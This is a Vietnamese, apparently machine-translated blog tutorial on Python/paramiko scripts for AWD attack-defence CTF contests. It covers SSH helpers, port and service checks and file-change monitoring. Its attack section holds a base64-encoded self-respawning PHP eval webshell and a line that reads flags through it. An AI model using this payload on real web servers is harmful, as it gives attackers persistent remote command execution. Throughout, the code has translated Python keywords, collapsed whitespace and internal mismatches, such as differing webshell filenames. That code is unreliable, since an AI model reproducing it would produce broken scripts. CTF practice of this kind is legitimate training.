Lời nói đầu

Nhiều sinh viên biết rằng ngoài cuộc thi giải quyết vấn đề trong các cuộc thi CTF thông thường của chúng ta, còn có một hệ thống cạnh tranh gọi là hệ thống cạnh tranh AWD. Ở định dạng này, nhóm của chúng tôi sẽ có một hoặc nhiều máy chủ. Phương thức kết nối máy chủ thường là liên kết SSH và một nhóm có thể có nhiều máy chủ cùng một lúc.

Trong bài viết này, chúng tôi sẽ giải thích chi tiết cách sử dụng Python để chống trả và quay trở lại.

Python phổ quát

Là một ngôn ngữ thông dịch, Python có tính tích hợp cao. Mặc dù tính đồng thời cao và hiệu quả thực thi có phần bất đắc dĩ nhưng nó vẫn là một ngôn ngữ dễ sử dụng.

Python có thể bao gồm hầu hết tất cả các loại hoạt động trong AWD. Chúng tôi sẽ viết một số ví dụ bên dưới về một số hàm có thể được sử dụng và đã được sử dụng để tạo điều kiện thuận lợi cho việc tổng hợp bài viết sau này.

Hoạt động SSH của Python

Chúng tôi muốn kết nối với container. Có nhiều cách thông thường nhất tất nhiên là thông qua SSH.

Chúng ta có thể kết nối với máy mục tiêu thông qua tên người dùng và mật khẩu, sau đó thực hiện lệnh và nhận được kết quả.

Tôi tin những người thông minh đều biết rằng sẽ rất tiện lợi sau khi chúng ta có thể vận hành SSH theo cách này! .

Đầu tiên, chúng ta cần một thư viện Python: "paramiko".

                        
                          pip3 cài đặt paramiko

                        
                      

Đưa ra mã mẫu:

                        
                          import paramiko def exec_ssh_command(host, username, pass, command): # Tạo đối tượng máy khách SSH ssh_client = paramiko.SSHClient() # Tự động thêm khóa máy chủ (sử dụng thận trọng, có thể có rủi ro bảo mật) ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy ( )) thử: # Kết nối với máy chủ SSH ssh_client.connect(hostname=host, tên người dùng=tên người dùng, mật khẩu=mật khẩu) # Thực thi lệnh stdin, stdout, stderr = ssh_client.exec_command(command) # Nhận kết quả thực thi lệnh result = stdout.read().decode().strip() # Đóng kết nối SSH ssh_client.close () trả về kết quả ngoại trừ Ngoại lệ là e: return str(e) if __name__ == "__main__": Host = "ip" # Thay thế bằng địa chỉ máy chủ SSH tên người dùng = "root" # Thay thế bằng tên người dùng máy chủ SSH mật khẩu = "password" # Thay thế bằng mật khẩu của người dùng máy chủ SSH command = "ls /" result = exec_ssh_command(host, username, pass, command) print ( kết quả)

                        
                      

Dựa vào đoạn code trên, chúng ta có thể cải thiện nó dựa trên một số kiến ​​thức Python cơ bản và điền thêm nội dung không?

Một số thủ thuật sau Python SSH

Ví dụ trên là ví dụ về việc lấy ID vùng chứa thông qua SSH. Mã như sau:

                        
                          nhập paramiko def get_remote_all_container_ids(máy chủ, tên người dùng, mật khẩu): thử: # Tạo đối tượng máy khách SSH ssh_client = paramiko.SSHClient() # Tự động thêm khóa máy chủ (sử dụng thận trọng, có thể có rủi ro bảo mật) ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy ( )) # Kết nối với máy chủ SSH ssh_client.connect(hostname=host, username=username, pass=password) # Thực thi lệnh docker ps -aq và ghi lại đầu ra stdin, stdout, stderr = ssh_client.exec_command('docker ps -aq') # Nhận thực thi lệnh Kết quả là ID của tất cả các container container_ids = stdout.read().decode().strip().split() # Đóng kết nối SSH ssh_client.close() trả về container_ids ngoại trừ Ngoại lệ là e: print(f"Error: {str(e)}") return [] if __name__ == "__main__": Host = "192.168.31.161" # Thay thế bằng Địa chỉ IP hoặc tên máy chủ của máy chủ từ xa tên người dùng = "root" # Thay thế bằng tên người dùng đăng nhập mật khẩu = "mật khẩu" # Thay thế bằng mật khẩu đăng nhập container_ids_list = get_remote_all_container_ids(máy chủ, tên người dùng, mật khẩu) print(container_ids_list)

                        
                      

Chúng ta chú ý hơn đến lệnh trong dòng để có được kết quả: container_ids = stdout.read().decode().strip().split().

Dòng mã này đọc đầu ra đầu ra sau khi thực thi, giải mã nó và sau đó phân tách nó.

Trên thực tế, chúng ta có thể viết dựa trên điều này ở nhiều nơi và lấy lại những gì mình muốn.

Nếu chúng ta nhận được kết quả, chúng ta sẽ dễ dàng khởi động lại docker container và nhập vào container để thực thi lệnh.

Phòng thủ

Trong chương bảo vệ, chúng tôi tập trung vào các ví dụ về một số hoạt động sau SSH.

Xem nhanh các vùng chứa và thư mục hiện tại sau SSH

Thích hợp cho: Người chơi cỡ trung AWD có thể nhanh chóng làm quen với thùng chứa máy bay không người lái mục tiêu của họ.

                        
                          import paramiko import sys import select class InteractiveShell: def __init__(self, ssh_client): self.ssh_client = ssh_client self.channel = ssh_client.invoke_shell() def __enter__(self): return self def __exit__(self, exc_type, ex_value, traceback) : self.ssh_client.close() def execu_command(self, command): self.channel.send(command + "\n") trong khi không self.channel.recv_ready(): tiếp tục xuất ra = self.channel.recv(4096).decode() trả về đầu ra def tương tác_shell( self): thử: while Đúng: # Giám sát đầu vào tiêu chuẩn và đầu ra đầu ra thiết bị đầu cuối từ xa, _, _ = select.select([sys.stdin, self.channel], [], []) cho src trong đầu vào: nếu src là sys.stdin: # Đọc đầu vào từ đầu vào tiêu chuẩn và gửi đến thiết bị đầu cuối từ xa user_input = sys.stdin.readline() self.channel.sendall(user_input.encode()) sys .stdout .flush() # Được sử dụng để làm mới thiết bị đầu cuối nhằm ngăn chặn không có đầu ra hoặc đầu ra không đầy đủ của dấu nhắc lệnh khác: # Đọc đầu ra từ thiết bị đầu cuối từ xa và hiển thị nó trên thiết bị đầu cuối cục bộ đầu ra = self.channel.recv(1024).decode() sys.stdout.write(output) sys.stdout.flush() # Được sử dụng để làm mới thiết bị đầu cuối nhằm ngăn chặn không có đầu ra hoặc đầu ra không đầy đủ của dấu nhắc lệnh ngoại trừ KeyboardInterrupt: # Người dùng nhấn Khi Ctrl+C thoát khỏi thiết bị đầu cuối, hãy đóng kết nối SSH self.ssh_client.close() print("Kết nối SSH đã bị đóng.") ngoại trừ Ngoại lệ là e: print(f"Error: {str(e)}") def get_remote_all_container_ids(máy chủ, tên người dùng, mật khẩu): thử: # Tạo đối tượng máy khách SSH ssh_client = paramiko.SSHClient() # Tự động thêm khóa máy chủ (sử dụng thận trọng, có thể có rủi ro bảo mật) ssh_client . set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối với máy chủ SSH ssh_client.connect(hostname=host, username=username, pass=password) # Thực thi lệnh docker ps và xuất ra stdin, stdout, stderr = ssh_client.exec_command('docker ps') print(stdout.read( .decode ()) # Thực thi lệnh docker ps -aq và capture đầu ra stdin, stdout, stderr = ssh_client.exec_command('docker ps -aq') # Lấy kết quả thực thi lệnh, tức là ID của tất cả các container, vào danh sách container_ids = stdout.read().decode().strip().split() print (f"Danh sách vùng chứa :{container_ids}") stdin, stdout, stderr = ssh_client.exec_command('ls') print(f"Thư mục hiện tại chứa: \n{stdout.read().decode()}") stdin, stdout, stderr = ssh_client.exec_command('pwd') print(f"Thư mục hiện tại: {stdout.read ( .decode()}") # Thực thi lệnh docker ps -aq và ghi lại kết quả đầu ra với InteractiveShell(ssh_client) dưới dạng shell: # Khởi động một thiết bị đầu cuối tương tác shell.interactive_shell() ssh_client.close() ngoại trừ Ngoại lệ là e: print(f"Error: {str(e)}") return [] if __name__ == "__main__": Host = "192.168.31.161 " # Thay thế bằng địa chỉ IP hoặc tên máy chủ của tên người dùng máy chủ từ xa = "root" # Thay thế bằng tên người dùng đăng nhập mật khẩu = "password" # Thay thế bằng mật khẩu đăng nhập get_remote_all_container_ids(máy chủ, tên người dùng, mật khẩu)

                        
                      

Sau khi quá trình thực thi hoàn tất, một thiết bị đầu cuối tương tác sẽ được mở để bạn nhanh chóng thực hiện công việc awd.

Dịch vụ kiểm tra nhanh sau SSH

Áp dụng cho: dịch vụ kiểm tra nhanh, khắc phục sơ hở.

                        
                          import paramiko import re def run_ssh_command(ssh_client, command): _, stdout, _ = ssh_client.exec_command(command) return stdout.read().decode() def get_running_services_with_ports(tên máy chủ, tên người dùng, mật khẩu): thử: # Tạo ứng dụng khách SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối với máy chủ SSH client.connect(hostname, username=username, pass=password) # Nhận tất cả các dịch vụ đang chạy và trạng thái của chúng services_info = run_ssh_command(client, "sudo systemctl list-units --type=service --all --no-legend") services_list = services_info.strip().split("\n") services = {} for service_info trong services_list: parts = service_info.split() if len(parts) >= 3: service_name = parts[0] service_state = parts[2] services[service_name] = {"state": service_state, "ports": [], "pid": None} # Phát hiện các cổng và PID bị dịch vụ chiếm giữ nếu service_state == "đang chạy": cmd = f"Sudo ss -tuln | grep ':{service_name}'" out = run_ssh_command(client, cmd)lines = out.strip().split("\n") cho dòng trong dòng: match = re.search (r":(\d+)\s+", line) nếu khớp: port = int(match.group(1)) services[service_name]["ports".append(port) cmd = f"sudo systemctl show -p MainPID {service_name}" đầu ra = run_ssh_command(client, cmd) match = re.search(r"MainPID=(\d+) ", đầu ra) nếu khớp: pid = int(match.group(1)) services[service_name]["pid"] = pid # Đóng kết nối SSH client.close() trả về các dịch vụ ngoại trừ (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e: print(f"Error: {e}") return None # Ví dụ sử dụng tên máy chủ = "192.168.31.161 " tên người dùng = mật khẩu "root" = "mật khẩu" dịch vụ = get_running_services_with_ports(tên máy chủ, tên người dùng, mật khẩu) nếu dịch vụ: for dịch vụ, thông tin trong services.items(): print(f"Service: {service}") print(f" State: {info['state']}") print(f" Cổng: {info['ports'] }") print(f" PID: {info['pid']}") else: print("Không thể truy xuất dịch vụ.")

                        
                      

Sau SSH, hãy nhanh chóng kiểm tra các cổng đã mở cũng như các chương trình và PID chiếm các cổng rồi liệt kê chúng

Áp dụng: Tương tự như trên.

                        
                          nhập paramiko từ lập bảng nhập lập bảng def run_ssh_command(ssh_client, command): _, stdout, _ = ssh_client.exec_command(command) return stdout.read().decode() def get_open_ports_with_processes(tên máy chủ, tên người dùng, mật khẩu): thử: # Tạo Máy khách SSH máy khách = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối với máy chủ SSH client.connect(hostname, username=username, pass=password) # Lấy thông tin cổng mở open_ports_info = run_ssh_command(client, "sudo netstat -tuln") open_ports_list = open_ports_info .strip().split("\n") open_ports = {} for line in open_ports_list[2:]: # Bỏ qua phần tiêu đề = line.split() if len(parts) == 6: giao thức = parts[0] port = int(parts[3].split (" :")[-1]) # Lấy chương trình chiếm cổng và PID cmd = f"sudo lsof -i :{port} | awk 'NR==2{{print $1, $2}}'" đầu ra = run_ssh_command(client, cmd) process_info = out.strip().split() if len(process_info) == 2: chương trình, pid = process_info open_ports[port] = {"protocol": giao thức, "chương trình": chương trình, "pid": pid} # Đóng kết nối SSH client.close() trả về open_ports ngoại trừ (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e: print(f"Error: {e}") return None # Ví dụ sử dụng tên máy chủ = "192.168.31.161" tên người dùng = "root" mật khẩu = "mật khẩu" open_ports = get_open_ports_with_processes(tên máy chủ, tên người dùng, mật khẩu) nếu open_ports: table_data = [] cho cổng, thông tin trong open_ports.items(): table_data.append([info['pid'], info['program'], port]) # Sử dụng thư viện lập bảng để xuất bảng và đặt tiêu đề màu đường viền bảng = ["PID" , "Tên chương trình ", "port"] print(tabulate(table_data, headers=headers, tablefmt="grid", numalign="center", colalign=("center", "center", "center",))) else: print("Không thể truy xuất các cổng đang mở.")

                        
                      

Thăm dò các thay đổi tập tin sau SSH

Áp dụng: Giám sát tệp sau khi bắt đầu trò chơi AWD.

                        
                          nhập paramiko thời gian nhập nhập hashlib def run_ssh_command(ssh_client, command): _, stdout, _ = ssh_client.exec_command(command) return stdout.read().decode() def get_md5_checksum(ssh_client, file_path): md5_cmd = f"sudo md5sum {file_path}" md5_output = run_ssh_command(ssh_client, md5_cmd) md5_checksum = md5_output.strip().split()[0] return md5_checksum def Monitor_directory_changes(tên máy chủ, tên người dùng, mật khẩu, thư mục_path): thử: # Tạo ứng dụng khách SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối với máy chủ SSH client.connect(hostname, username=username, pass=password) # Khởi tạo từ điển MD5 để lưu trữ giá trị MD5 trước đó của tệp md5_dict = {} counter = 0 while True: # Lấy tất cả đường dẫn file trong thư mục find_cmd = f"sudo find {directory_path} -type f" files_output = run_ssh_command(client, find_cmd) file_paths = files_output.strip().split("\n") for file_path in file_paths: # Lấy giá trị MD5 của tệp hiện tại md5_checksum = get_md5_checksum(client, file_path) # Nếu tệp không tồn tại trong từ điển, sau đó thêm nó vào từ điển và xuất giá trị MD5 nếu file_path không có trong md5_dict: md5_dict[file_path] = md5_checksum if counter == 0: print(f"Tệp kiểm tra ban đầu: {file_path}: {md5_checksum}") else: print(f"Tệp mới: {file_path}: {md5_checksum}") else: # Nếu giá trị MD5 của tệp thay đổi, hãy xuất thông tin thay đổi nếu md5_dict[file_path] != md5_checksum: print(f"{file_path} đã bị thay đổi!") print(f"Old MD5: {md5_dict[file_path]}") print(f"New MD5: {md5_checksum}") md5_dict[file_path] = md5_checksum counter += 1 # Ngủ trong 5 giây time.sleep(5) ngoại trừ (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e: print(f"Error: {e}") # Ví dụ sử dụng tên máy chủ = "192.168.31.161" tên người dùng = "root" mật khẩu = "password" thư mục_path = "/root/Test/" màn hình_directory_changes(tên máy chủ , tên người dùng, mật khẩu, thư mục_path)

                        
                      

Kiểm tra trạng thái máy chủ sau SSH

Áp dụng: Phát hiện trạng thái máy chủ trong AWD để ngăn ngừa sự cố.

                        
                          import paramiko import psutil import curses def run_ssh_command(ssh_client, lệnh): _, stdout, _ = ssh_client.exec_command(lệnh) return stdout.read().decode() def get_system_info(ssh_client): hostname = run_ssh_command(ssh_client, "hostname") cpu_model = run_ssh_command(ssh_client, "cat /proc/cpuinfo | grep 'model name' | uniq") total_memory = run_ssh_command(ssh_client, "free -h | awk 'NR==2{print $2}'") return hostname.strip(), cpu_model.strip(), total_memory.strip() def get_cpu_usage(ssh_client): cpu_usage = psutil.cpu_percent() return cpu_usage def get_memory_usage(ssh_client): memory_usage = psutil.virtual_memory().percent trả về memory_usage def get_disk_usage(ssh_client): disk_usage = psutil.disk_usage('/').percent trả về disk_usage def get_network_usage(ssh_client): net_io_counters = psutil.net_io_counters() network_usage = (net_io_counters.bytes_sent + net_io_counters.bytes_recv) * 100 / (net_io_counters.bytes_sent + net_io_counters.bytes_recv + net_io_counters.errin + net_io_counters.errout) trả về network_usage def print_stats(window, hostname, cpu_model, total_memory, cpu_usage, memory_usage, disk_usage, network_usage): window.addstr(0, 0, f"Hostname: {hostname}") window.addstr(1, 0, f"CPU Model: {cpu_model}") window.addstr(2, 0, f"Total Memory: {total_memory}") window.addstr(4, 0, f"CPU Usage: {cpu_usage:.2f}%") window.addstr(5, 0, f"Memory Usage: {memory_usage:.2f}%") window.addstr(6, 0, f"Disk Usage: {disk_usage:.2f}%") window.addstr(7, 0, f"Network Usage: {network_usage:.2f}%") window.refresh() def monitor_server_stats(window, ssh_client): # Kiểm tra trạng thái của máy chủ hostname, cpu_model, total_memory = get_system_info(ssh_client) while True: # Sử dụng bộ nhớ hệ thống cpu_usage = get_cpu_usage(ssh_client) memory_usage = get_memory_usage(ssh_client) disk_usage = get_disk_usage(ssh_client) network_usage = get_network_usage(ssh_client) # Sử dụng bộ nhớ hệ thống print_stats(window, hostname, cpu_model, total_memory, cpu_usage, memory_usage, disk_usage, network_usage) if __name__ == "__main__": # Sử dụng bộ nhớ hệ thống hostname = "192.168.31.161" username = "root" password = "password" # 创建SSH客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接SSH服务器 client.connect(tên máy chủ, tên người dùng=tên người dùng, mật khẩu=mật khẩu) # 初始化curses Curses.wrapper(monitor_server_stats, khách hàng)

                        
                      

tấn công

Chèn con ngựa bất tử thông qua một câu Trojan

Ở đây bạn cần cài đặt thư viện Python qsnctf và các yêu cầu, pip3 cài đặt các yêu cầu qsnctf.

Một bàn đạp trực tiếp! .

                        
                          từ qsnctf nhập * yêu cầu nhập get_exec_webshell_post('http://localhost/shell.php', 'password', 'echo PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOyAjMeihqOekuu+8jOW/veeVpeS4juWuouaIt+err+aWreW8gOi/nuaOpe+8jOe7p+e7reaJp+ihjOiEmuacrAp1bmxpbmsoX19GSUxFX18pOyAj5omn6KGM5a6M5ZCO5Yig6Zmk 6Ieq6LqrCndoaWxlICgxKSB7CiAgICAkY29udGVudCA9ICI8P3BocCBAZXZhbCgkX1BPU1RbImNtZCJdKSA/PiI7CiAgICBmaWxlX3B1dF9jb250ZW50cygiLmJzbS5waHAiLCAkY29udGVudCk7CiAgICB1c2xlZXAoMTAwMDApOyAj5YGc5LiA5LyaCn0KPz4= | base64 --decode > busishell.php') yêu cầu.get('http://localhost/busishell.php')


                        
                      

Qua ngựa bất tử Cờ Mèo vừa rồi

                        
                          từ qsnctf nhập * FLAG = get_exec_webshell_post('http://localhost/.bs.php', 'cmd', 'cat /flag && echo $FLAG') in(FLAG)

                        
                      

Hợp tác với từng nền tảng để gửi FLAG theo đợt.

Một số nền tảng là cat /flag và một số là echo $FLAG.

Phần còn lại là một kịch bản phản cảm điển hình nên tôi sẽ không điền vào đây.

Tổng quan

SSH tương tác

Bạn có thể nhanh chóng tạo một hoặc n thiết bị đầu cuối SSH có công suất thấp thông qua SSH tương tác.

                        
                          import paramiko import sys import select class InteractiveShell: def __init__(self, ssh_client): self.ssh_client = ssh_client self.channel = ssh_client.invoke_shell() def __enter__(self): return self def __exit__(self, exc_type, ex_value, traceback) : self.ssh_client.close() def execu_command(self, command): self.channel.send(command + "\n") trong khi không self.channel.recv_ready(): tiếp tục xuất ra = self.channel.recv(4096).decode() trả về đầu ra def tương tác_shell( self): thử: while Đúng: # Giám sát đầu vào tiêu chuẩn và đầu ra đầu ra thiết bị đầu cuối từ xa, _, _ = select.select([sys.stdin, self.channel], [], []) cho src trong đầu vào: nếu src là sys.stdin: # Đọc đầu vào từ đầu vào tiêu chuẩn và gửi đến thiết bị đầu cuối từ xa user_input = sys.stdin.readline() self.channel.sendall(user_input.encode()) sys .stdout .flush() # Được sử dụng để làm mới thiết bị đầu cuối nhằm ngăn chặn không có đầu ra hoặc đầu ra không đầy đủ của dấu nhắc lệnh khác: # Đọc đầu ra từ thiết bị đầu cuối từ xa và hiển thị nó trên thiết bị đầu cuối cục bộ đầu ra = self.channel.recv(1024).decode() sys.stdout.write(output) sys.stdout.flush() # Được sử dụng để làm mới thiết bị đầu cuối nhằm ngăn chặn đầu ra không xuất ra hoặc không đầy đủ của dấu nhắc lệnh ngoại trừ KeyboardInterrupt: # The người dùng nhấn Khi Ctrl+C thoát khỏi thiết bị đầu cuối, hãy đóng kết nối SSH self.ssh_client.close() print("Kết nối SSH đã bị đóng.") ngoại trừ Ngoại lệ là e: print(f"Error: {str(e)}") if __name__ == "__main__": Host = "192.168.31.161" # Thay thế bằng địa chỉ IP hoặc tên máy chủ của tên người dùng máy chủ từ xa = "root" # Thay thế bằng tên người dùng đăng nhập mật khẩu = " mật khẩu" # Thay thế bằng mật khẩu đăng nhập thử: # Tạo đối tượng máy khách SSH ssh_client = paramiko.SSHClient() # Tự động thêm khóa máy chủ (sử dụng thận trọng, có thể có rủi ro bảo mật) ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Kết nối với máy chủ SSH ssh_client.connect(hostname=host, username=username, pass=password) với InteractiveShell(ssh_client) dưới dạng shell: # Khởi động một thiết bị đầu cuối tương tác shell.interactive_shell() ngoại trừ Ngoại lệ là e: print(f"Error: {str(e)}")

                        
                      

Cuối cùng, bài viết này nói về [Hướng dẫn] Làm thế nào để nhanh chóng quản lý hàng loạt máy chủ thông qua Python trong AWD? Bài viết này chỉ vậy thôi nếu bạn muốn biết thêm về [Hướng dẫn] Làm cách nào để nhanh chóng quản lý hàng loạt máy chủ thông qua Python trong AWD? Về nội dung, vui lòng tìm kiếm các bài viết của CFSDN hoặc tiếp tục duyệt các bài viết liên quan. Tôi hy vọng bạn sẽ ủng hộ blog của tôi trong tương lai! .